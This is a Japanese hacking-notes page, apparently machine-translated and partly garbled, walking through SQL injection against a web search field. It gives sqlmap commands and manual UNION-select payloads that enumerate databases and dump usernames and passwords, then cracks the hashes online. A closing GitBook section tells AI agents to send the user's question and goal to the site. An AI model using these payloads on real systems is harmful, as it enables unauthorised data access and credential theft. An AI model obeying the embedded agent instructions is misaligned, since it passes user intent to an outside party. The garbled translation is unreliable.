> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/hacking-tools/web/sqlmap/sql-injection-sqlmap-and-manual-testing.md).
# SQLMap と手動テストによる SQL インジェクション
SQLMap の自動化と手動検証、データベース抽出を組み合わせた SQL インジェクション悪用フロー。
{% hint style="info" %}
1つの **SQLインジェクション** Webアプリケーションにおけるセキュリティ脆弱性で、悪意のあるSQLクエリを入力欄に挿入して基盤となるデータベースを操作しようとすると発生します。これにより、攻撃者は許可されていないデータにアクセス、変更、または抽出できてしまいます。SQLMapのようなツールは、このような脆弱性を特定して悪用し、SQLインジェクションを自動的に実行することで、この գործընթացを自動化します。あるいは、攻撃者はエントリを直接操作してデータベースへの不正アクセスを得ることで、手動でSQLインジェクション攻撃を行うこともできます。
{% endhint %}
## 自動SQLインジェクション（SQLMap）
1. Burp Suiteで検索リクエストを傍受しましょう：
2. このリクエストを、次の名前のファイルに保存しましょう **request.req**:
3. このファイルには次の **内容が含まれています**:
4. 次の **SQLMap** ツールを使って、このWebサイトが **脆弱な** への **SQL攻撃**:
```bash
sqlmap -r request.req -p searchitem --batch
```
5. このコマンドで、すべての **データベース**:
```bash
sqlmap -r request.req -p searchitem --batch --dbs
```
6. このコマンドで、すべての **テーブル** 特定のデータベースの：
```bash
sqlmap -r request.req -p searchitem --batch -D "database_name" --tables
```
7. このコマンドで、すべての **カラム** 特定のテーブルの：
```bash
sqlmap -r request.req -p searchitem --batch -T "table_name" --columns
```
8. このコマンドで、次のものを表示しましょう **内容が含まれています** カラムの：
```bash
sqlmap -r request.req -p searchitem --batch -T users -C username,password --dump
```
*ツールが暗号化されたパスワードを見つけると、自動的に復号します*:
***
## 手動SQLインジェクション
1. Burp Suiteで検索リクエストを傍受しましょう：
2. このリクエストを次へ送信してください **Repeater**:
3. その **searchitem** 検索フィールドに、次を追加します：
```bash
test' order by 100-- -
```
4. Webサーバーは、 **カラム数がそれほど多くない**:
5. 試してみましょう **何もなくなるまで** （この場合、カラムは5個あります）：
6. これで、 **5個のカラムがあることがわかりました**、次に **UNION** 関数を使って、 **表示します** それらを：
```arduino
test' union select 1,2,3,4,5-- -
```
* の場合 **名前を変更すると** 3番目のカラム、たとえば「test」の **も変更されます**:
7. つまり、次を入力すると **database()** または **user()** 関数を使うと、 **データベース名** または **データベースを実行しているユーザー名** が表示されます：
**以下は手動で一覧表示する手順です：**
1. すべての **データベース**:
```bash
test' union select 1,2,schema_name,4,5 from information_schema.schemata-- -
```
2. すべての **テーブル** 特定のデータベースの：
```rust
test' union select 1,2,table_name,4,5 from information_schema.tables where table_schema='database_name'-- -
```
3. すべての **カラム** 特定のテーブルの：
```rust
test' union select 1,2,column_name,4,5 from information_schema.columns where table_schema='database_name' and table_name='table_name'-- -
```
4. 次の **username列とpassword列の内容** （この場合、"product name"列と"product type"列を使用します）：
```arduino
test' union select 1,username,password,4,5 from users-- -
```
* 次のものを一覧表示しましょう **username列とpassword列の内容** もう一度：
```scss
test' union select 1,2,group_concat(username,0x3a,password),4,5 from users-- -
```
5. **内容をコピーしましょう** Burp SuiteのPrettyセクションに：
6. 開きましょう **Nvim** テキストエディタで貼り付けたテキストを貼り付け、次のコマンドで正しく整形します： `:%s/,//r/g`
7. このコマンドで、ハッシュだけを残して次へコピーしましょう **クリップボード**: `cat data | awk '{print $2}' FS=":" | xclip -sel clip`
8. 最後に、 [Hashes.com](https://hashes.com/en/decrypt/hash) Webサイトを使って、パスワードを次の形式で取得します **平文**:
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/ja/hacking-tools/web/sqlmap/sql-injection-sqlmap-and-manual-testing.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
